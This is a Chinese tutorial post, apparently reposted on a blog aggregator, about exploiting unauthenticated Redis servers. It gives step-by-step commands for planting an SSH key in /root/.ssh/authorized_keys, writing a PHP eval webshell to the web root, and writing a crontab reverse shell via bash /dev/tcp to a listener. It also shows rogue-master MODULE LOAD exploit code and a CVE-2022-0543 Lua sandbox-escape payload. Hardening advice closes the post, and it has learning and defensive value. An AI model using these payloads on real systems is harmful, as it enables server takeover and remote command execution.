2023面试经典 Redis未授权漏洞与组合拳

news2024/11/24 17:33:57

文前漫谈

之前面试里碰见过,属于面试经典了,有空了了解一下
2015年的洞了,从以前乌云一个师傅的文章那了解到

Redis 有关的漏洞具有明显的时间分段性,在15年11月之前,主要是未授权导致的数据泄露,获得一些账号密码。另外还可以 DoS(参考:Sangfor VMP redis unauthorized access vulnerability),主要是在 Redis 的命令行工具里输入 shuntdown 命令关闭 Redis 服务器,影响网站正常业务。在15年11月之后,你懂得~

现在都2023年了,害~~~

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

Redis简介

Redis 全称 Remote Dictionary Server(即远程字典服务),它是一个基于内存(当然也可以把其存储至硬盘上,这也是写shell的必要条件之一)实现的键值型非关系(NoSQL)数据库。Redis 免费开源,其最新稳定版本是 6.2.x(2022/11/10),版本更新参见
image
常用版本包括3.0、4.0、5.0。自 Redis 诞生以来,它以其超高的性能、完美的文档和简洁易懂的源码广受好评,国内外很多大型互联网公司都在使用 Redis,比如腾讯、阿里、Twitter、Github 等等。

小tips

Redis 使用标准的做法进行版本管理: “主版本号.副版本号.补丁号”。偶数副版本号表示一个稳定的发布,像 1.2, 2.0, 2.2, 2.4, 2.6, 2.8。奇数副版本号表示不稳定的发布,例如 2.9.x 发布是一个不稳定版本,下一个稳定版本将会是Redis 3.0。

实战中Redis常用命令:

redis-cli -h ip -p 6379 -a passwd   # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
info 																# 查看相关redis信息
set xz "Hacker"                     # 设置键xz的值为字符串Hacker
get xz                              # 获取键xz的内容
INCR score                          # 使用INCR命令将score的值增加1
keys *                              # 列出当前数据库中所有的键
config set protected-mode no        # 关闭安全模式
get anotherkey                      # 获取一个不存在的键的值
config set dir /root/redis          # 设置保存目录
config set dbfilename redis.rdb     # 设置保存文件名
config get dir                      # 查看保存目录
config get dbfilename               # 查看保存文件名
save                                # 进行一次备份操作
flushall                            # 删除所有数据
del key                             # 删除键为key的数据
slaveof ip port                 		# 设置主从关系

使用SET和GET命令,可以完成基本的赋值和取值操作;
Redis是不区分命令的大小写的,set和SET是同一个意思;
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";

Redis.conf 配置文件参数:

一般的,redis.conf文件路径/etc/redis/redis.conf

port参数:
    格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。

bind参数:
    格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表允许192.168.1.100和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。

save参数:
    格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
        save 900 1
        save 300 10
        save 60 10000
    表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。

requirepass参数:
    格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。

dir参数:
    格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。

dbfilename参数:
    格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。

config命令:
    通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。

protected-mode参数:
    redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。

当我们获得了一个 redis 控制台,我们可以调用 config set/get 等命令对 redis 的部分配置进行修改。而恰好的是,我们可以通过config set来更改dir和dbfilename。也就是说我们可以不用修改redis.conf,也不用重启 redis 服务就可以写入任意文件。
所以这两步加上下面的 save 这一步是把上面在内存中写入的公钥写入到 /root/.ssh/authorized_keys 这一个硬盘上的文件中。

redis未授权漏洞原理

Redis默认配置过程中无需设置密码,可能造成空口令风险。这种情况下只要连接的Redis服务器的host和port正确,且攻击机安装redis客户端就可以成功连接,存在类似风险的数据库服务器还有MONGODB
Redis安装默认情况下,会绑定在0.0.0.0:6379,如果没有限制来源IP并且没有设置密码(所以这也是两种修复手段),就会导致攻击者非法访问,读取Redis的数据,利用自身config命令进行写入操作。
Redis 是常见内网服务。其他的常见内网服务还有如 Structs2 和 Elastic。

漏洞的影响版本

Redis 2.x,3.x,4.x,5.x

未授权漏洞复现

  • 未授权 Redis 拿 shell 的 3 种方式
通过写 SSH key
通过向 Web 目录中写入 webshell
通过写 crontab 计划任务

nmap扫描端口发现redis服务
image
无密码未授权实现直接访问,然后可以执行redis命令操作

redis-cli -h ip [-p 6379] [-a passwd]

image
info查看reids服务端信息
image

组合拳攻击 三种拿shell方式

落地ssh公钥免密登录 (system shell)

利用条件
  1. Redis 未授权访问漏洞
  2. 服务器对外开启了 ssh 服务
  3. Redis 服务器运行在 root 用户下(否则还要猜测用户用以修改authorized_keys的保存目录)

所以在实际渗透过程中,该服务器「端口扫描」结果至少要满足:

  • Redis 服务 open(默认 6379 端口)
  • ssh 服务 open(默认 22 端口)[没开 ssh 都是扯淡]
具体步骤
  1. 生成一个 ssh-key:
ssh-keygen -t rsa
  1. 防止其他数据干扰给公钥加点换行:
(echo -e "\n\n"; cat /home/kali/.ssh/id_rsa.pub; echo -e "\n\n") > may.txt

或者是\r\n
最好在公钥内容的前面和后面都加上一点空格和回车,不然数据库的其它内容可能会造成影响。

image

  1. 把公钥写入到一个 key 里面,这个例子中是写入了 may 这个 key。
cat may.txt | redis-cli -h host -x set may
注: -x 代表从标准输入读取数据作为该命令的最后一个参数。
  1. 设置 rdb 文件存放的路径:
config set dir /root/.ssh
  1. 设置 rdb 文件的文件名
config set dbfilename "authorized_keys"

config set dir xxx 和 config set dbfilename xxx 这两步是什么意思呢?
例如,我们将dir设置为一个目录a,而dbfilename设置为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:
  1. 搞定保存。
save
exit

Redis 的数据主要保存在内存中,但使用者可以随时执行 save 命令将当前 Redis 的数据保存到硬盘上,另外redis也会根据配置自动存储数据到硬盘上。
  1. ssh尝试登陆:
ssh root@192.168.174.140 注意authorized_keys写入的目录,也就是登录的用户

这样我们就获得了一台服务器的 shell。
image
可以到此服务器上查看,发现/root/.ssh目录下已经有了 authorized_keys:

cat /root/.ssh/authorized_keys

image

一些心得现状:

首先此方式肯定是无法适用于 Windows 主机的。(判断是 Windows 机器还是 Linux 机器可以通过下图所示的命令根据路径判断,下图为Linux下)
image
另外随着运维人员对此漏洞认识的深入,现在越来越少运维会直接以 root 起 Redis 的。这样就无法直接往/root/.ssh 目录下写公钥。
当然写入的目录不限于/root/.ssh下的authorized_keys,也可以写入用户目录。那么要多一个猜用户的步骤。
相较之下,直接写 webshell 和写计划任务这两种方式用的更多。

关于什么时候要flushall

redis-cli -h host flushall

一般写authorized-key时注意多写两个换行就行,这里我找了很多垃圾数据放在authorized-key文件里,依然能正常免密登录,主要是在写webshell时需要注意。
image
redis在生产环境里面数据量经常是十分庞大的,save到php文件里会超过php的允许文件大小,导致无法解析,而且save也不支持仅写入某个数据库,而是只能保存整个redis的实例,所以select到某个空数据库来写入shell也是无法试验的

解决办法

直接flushall全删掉即可。或者先备份再删,之后再进行恢复。实战就算碰见了也慎用,师傅们保命重要

利用redis写webshell

利用条件:
  • 知道网站根目录绝对路径(所以实际渗透过程中,这个方法通常需要搭配 phpinfo() 等信息使用。)
  • 无需是 root 起的 Redis
  • 可适用于 Windows(非 ssh 连接)
  • 一般无需 flushall 清空数据库(一定情况下也需要)

理解了落地ssh公钥原理,利用redis写webshell就十分简单,主要还是四个步骤

具体步骤:

image

  1. 设置保存路径
config set dir /var/www/html (网站根目录的绝对路径)
  1. 修改保存文件名
config set dbfilename xxx.php
  1. 将键值写入文件
set xxx "\r\n\r\n<?php eval($_REQUEST['cmd']);?>\r\n\r\n"
#\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行
  1. 保存
SAVE	
EXIT

虽然写入的是二进制文件,但是网页端访问依然能够解析
image

可能遇见的错误

下面是一种典型的报错,说明运行redis的用户对网站根目录没用写入权限,这里redis服务属于redis用户
image
image

通过写crontab计划任务getshell

利用条件:

通过写 crontab 的方式 getshell 是一种很绿色的方式:

  • 无需 flushall 清空数据

注意,这里并不是因为写计划任务本身无需 flushall,而是因为redis-cli set 1 'ringzero'这样的语法可以控制第一条记录,就能保证你的内容始终保持在最前面。
redis-cli set % 'test'就是一个标准用法,因为百分号比1的优先级更高。

  • 需要是 root 起的 Redis。

归根到底还是要 root 运行 redis,毕竟要写到/var/spool/cron/crontabs/root下,主要优势是适用一些 ssh 不能被直接访问的场景。

  • 不适用于 Windows 服务器

Windows 场景下没有计划任务,可以尝试一下写入启动项。理论上可以尝试写文件到用户启动项,但是现实是 Windows 普通用户没有计划任务权限。Windows 下 Redis 拿 shell,后面会单独成文讨论。

具体步骤
  1. 计划任务默认存储路径/var/spool/cron/crontabs/,设置写 crontabs 的文件夹路径
config set dir /var/spool/cron/crontabs
  1. 修改保存文件名
config set dbfilename root
  1. /var/spool/cron/crontabs/root写入「反弹 shell」的计划任务
echo -e "\n\n\n192.168.174.140 bash -i >& /dev/tcp/198.168.174.131/9999 0>&1\n\n\n"|redis-cli -x set %
  1. 保存
SAVE 
EXIT
  1. 监听公网机器指定端口,接收反弹回来的 shell
nc -lvvp 9999

总结

未授权或弱密码造成的可登入是必要条件,可公网访问是充分条件。如果公网不能访问,还可以通过 socks 隧道、SSRF 等方式内网漫游。

Redis 4.x/5.x 主从复制导致的命令执行

前面说过,redis是基于内存的,当场景需要大量访问Redis中的数据,服务端难免会难以承受。Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
image.png
问题就出现在了数据同步这一步,主机如果有恶意数据的话从机也会不分黑白跟着同步。

利用条件 redis<=5.0.5

该漏洞的触发条件依然是未授权或者弱口令连接

具体步骤

利用redis-rogue-server工具

该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接它的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过slaveof命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。

进行主从关系绑定的恶意代码

def runserver(rhost, rport, lhost, lport, passwd):
    # expolit
    remote = Remote(rhost, rport)	#实例化Remote,在构造函数中打开监听
    info("Setting master...")
    # auth
    if passwd:
        info("Authenticating...")
        remote.do(f"AUTH {passwd}")	# 发送验证密码请求
    remote.do(f"SLAVEOF {lhost} {lport}")	# Redis Slaveof 命令可以将当前服务器转变为指定服务器的从属服务器(slave server)。lhost和lport是恶意服务器
    info("Setting dbfilename...")
    remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}")	# 写入恶意so文件
    sleep(2)
    rogue = RogueServer(lhost, lport)
    rogue.exp()
    sleep(2)
    info("Loading module...")
    remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}") # 加载恶意模块
    info("Temerory cleaning up...")
    remote.do("SLAVEOF NO ONE")
    remote.do("CONFIG SET dbfilename dump.rdb")	
    remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")	
    rogue.close()

审过Exp之后我们可以发现,在写入so文件时和另一个开源项目十分相似,两个项目在这里都进行了类似模块污染的操作。这里想起了之前做过的一道题目:[天翼杯 2021]easy_eval
当时在做这道题目的时候,通过redis进行提权。
当时思路是:蚁剑getshell->上传恶意so文件->访问redis->MODULE LOAD加载恶意so文件->使用加载文件中的恶意函数提权到redis服务的用户
image

CVE-2022-0543:Redis lua 沙盒逃逸漏洞

造成redis沙盒逃逸漏洞的原因主要是由于redis lua,redis嵌入了lua编程语言作为其脚本引擎,可通过eval命令使用lua,lua引擎是沙盒化的,不能在运行redis的服务器上执行任意代码。但在Debian以及ubuntu发行版上,由于打包问题,在lua沙箱中遗留了一个对象package,攻击者可以利用这个对象package逃逸redis lua沙盒,在运行redis的服务器上执行任意命令。

利用的前提依然是未授权或者弱口令连接,并且它只影响 Debian 系的 Linux 发行版系统(Debian、Ubuntu 等)上的 Redis 服务,其他系统上的 Redis 服务不受影响。

影响版本:

  • 2.2 <= redis < 5.0.13
  • 2.2 <= redis < 6.0.15
  • 2.2 <= redis < 6.2.5

利用步骤:

  1. 连接redis-server
redis-cli -h host
  1. eval执行lua代码
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0

image

防御思路

1 . 开启密码验证并设置高强度密码,redis的查询速度是非常快的,外部用户一秒内可以尝试多达150K个密码;所以密码要尽量长

requirepass

2 . 在redis.conf文件中绑定内网ip,最好是本地ip,并且禁止公网访问

bind xxx.xxx.xxx.xxx

3 . 在redis.conf文件中修改redis默认端口

port xxxx

4 . 低权限运行redis服务(非root用户)
5 . 禁用高危命令,其实就是换个难猜的名字

rename-command FLUSHALL delflushall
rename-command CONFIG conf

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1123419.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

自增还是UUID,数据库主键的类型该如何选择?

一、自增(auto_increment)和UUID优缺点 自增 &#xff08;auto_increment&#xff09;的优点: 1.字段长度较uuid小很多&#xff0c;可以是bigint甚至是int类型&#xff0c;这对检索的性能会有所影响。 2.在写的方面&#xff0c;因为是自增的&#xff0c;所以主键是趋势自增的&…

小游戏外包开发流程及费用

小游戏的开发流程和费用会因项目的规模、复杂性和所选技术平台而有所不同。以下是一般的小游戏开发流程和可能的费用因素&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 开发流程&#xff1a; 概念和…

Android Studio Gradle中没有Task任务,没有Assemble任务,不能方便导出aar包

Gradle中&#xff0c;没有Assemble任务 1. 在编译aar包或者编译module的时候&#xff0c;没有release包&#xff0c;我们一般都是通过assemble进行编译。 如果在Gradle中找不到task。 可以通过设置File->setting -->Experimental→取消勾选“Do not build Gradle task …

TransactionScope的使用

TransactionScope的使用 简介1. 命名空间2.创建事务范围3.嵌套事务4.事务提交和回滚5.支持分布式事务6.配置选项7.资源管理器8.分布式事务协调器 应用1.未设置分布式事务2.设置分布式事务 简介 TransactionScope 是 .NET Framework 和 .NET Core 中的一个类&#xff0c;用于简化…

Java数组—精讲篇

Java数组—精讲篇 先进行专栏介绍 二维数组定义格式初始化静态初始化动态初始化 举例声明并初始化一个3行4列的整型二维数组访问二维数组元素访问二维数组array中第2行第3列的元素 遍历二维数组遍历二维数组array并打印每个元素的值强调 应用举例总结 程序展示二维数组元素打乱…

ThingsBoard的版本控制整合gitee

1、注册gitee账号,创建自己的空间,并且创建一个用于存储ThingsBoard相关的仓库 2、进入ThingsBoard的租户层,然后找到版本控制,进行配置 输入gitee的仓库地址 仓库URL:指定你的gitee的参考地址 仓库分支:master 身份验证:密码、访问令牌 用户名:登录账号 密码/访问令…

【LeetCode刷题】1两数之和

为找工作&#xff0c;我的代码都是用的JAVA&#xff0c;慢慢学习中。 LeetCode刷题Day1 两数之和 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入…

【干货】Java函数式编程公式大全,收藏学习!

函数操作是现代编程领域中的核心概念之一&#xff0c;它以类似 Excel 表格的方式进行数据处理和计算。它的特点是使用公式和函数来描述数据之间的关系和计算逻辑&#xff1b;它允许我们以更高效、更有组织的方式管理和处理数据。 在函数式编程中&#xff0c;数据被组织成表格的…

UDP网络通信反复发收

package UDP2;import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.InetAddress; import java.util.Scanner;/* * 完成UDP 通信快速入门 实现发1收1*/ public class Client {public static void main(String[] args) throws Exception{// …

统信操作系统UOS上安装arm64版nginx

原文链接&#xff1a;统信操作系统UOS上安装arm64版nginx hello&#xff0c;大家好啊&#xff0c;今天给大家带来一篇在统信桌面操作系统UOS上安装arm64版nginx的文章&#xff0c;本篇文章主要是给大家提供一种下载离线nginx软件包的方法&#xff0c;拿到软件包可以去不能链接互…

Qt耗时操作添加动画等待加载效果

Qt耗时操作添加动画等待加载效果_qt 等待动画-CSDN博客本例模拟耗时请求实现动画等待加载效果&#xff0c;采用QtConcurrent::run实现异步耗时操作&#xff0c;通过QFutureWatcher异步监测耗时操作结果的返回值做相应的动画演示。_qt 等待动画https://blog.csdn.net/qq_3666686…

解决AndroidStudio Gradle只有testDebugUnitTest

问题复现&#xff1a; 问题解决&#xff1a; 1:点击Task list not built... 2:取消勾选Configure all Gradle tasks during Gradle Sync... 大功告成&#xff0c;现在去看看Gradle&#xff0c;屏蔽的都显示出来了。

CUDA学习笔记(九)Dynamic Parallelism

本篇博文转载于https://www.cnblogs.com/1024incn/tag/CUDA/&#xff0c;仅用于学习。 Dynamic Parallelism 到目前为止&#xff0c;所有kernel都是在host端调用&#xff0c;CUDA Dynamic Parallelism允许GPU kernel在device端创建调用。Dynamic Parallelism使递归更容易实现…

信钰证券:长江电力180亿市值,招商证券、摩根大通等浮盈超一成

本周A股限售股解禁规划环比有所上升。 Wind数据核算闪现&#xff0c;除去新上市公司&#xff0c;本周共有64家公司限售股解禁&#xff0c;解禁数量51.52亿股&#xff0c;以最新收盘价核算&#xff08;下同&#xff09;&#xff0c;解禁市值776.21亿元。 本周解禁市值跨越10亿…

C++二分算法的应用:寻找峰值原理、源码及测试用例

说明 此文是课程https://edu.csdn.net/course/detail/38771 的讲义。 源码下载&#xff1a;https://download.csdn.net/download/he_zhidan/88458478 题目 长度为n的数组nums&#xff0c;请返回任意一峰值的索引。符合以下条件之一i便是峰值的索引。 n等于1 i等于0 n>…

构建并训练单层神经网络模型

1. 单层神经网络 单层神经网络由一个层次中的多个神经元组成,总体来看,单层神经网络的结构是:一个输入层,一个隐含层,一个输出层。 图中描述的是前向网络,但其反向传播网络的结构也是一样的。蓝色方框表示输入层,绿色圆圈表示隐含层,输出层没有绘制出来。 1.1 加载…

Linux安装Redis(这里使用Redis6,其它版本类似)

目录 一、选择需要安装的Redis版本二、下载并解压Redis三、编译安装Redis四、启动Redis4.1、修改配置文件4.2、启动 五、测试连接5.1、本地连接使用自带客户端redis-cli连接操作redis5.2、外部连接使用RedisDesktopManager操作redis 六、关闭Redis七、删除Redis 一、选择需要安…

【吞噬星空】战神宫全体投票,为罗峰脱罪,徐欣补办婚礼,洪成功恢复脑电波

【侵权联系删除】【文/郑尔巴金】 吞噬星空动画第90集即将更新&#xff0c;官方相当给力&#xff0c;提前曝光了图文情报与先行预告。虽然罗峰与巴巴塔尚未正式开始闯荡宇宙&#xff0c;但却是斩杀阿特金三大巨头的平稳生活。不但有战神宫为罗峰脱罪&#xff0c;而且还给徐欣补…

python如何创建自己的对冲交易算法

在这篇文章中&#xff0c;我解释了如何创建一个人工智能来每天为我进行自动交易。 随着机器学习的现代进步和在线数据的轻松访问&#xff0c;参与量化交易变得前所未有的容易。为了让事情变得更好&#xff0c;AWS 等云工具可以轻松地将交易想法转化为真正的、功能齐全的交易机器…

重组件的优化和页面渲染十万条数据

重组件的优化和页面渲染十万条数据的优化 重组件的优化vue2写法vue3写法 页面渲染十万条数据的优化使用虚拟列表的方式 重组件的优化 以下代码原理是使用requestAnimationFrame(callback) 方法 vue2写法 Test01.vue <template><div class"container">&…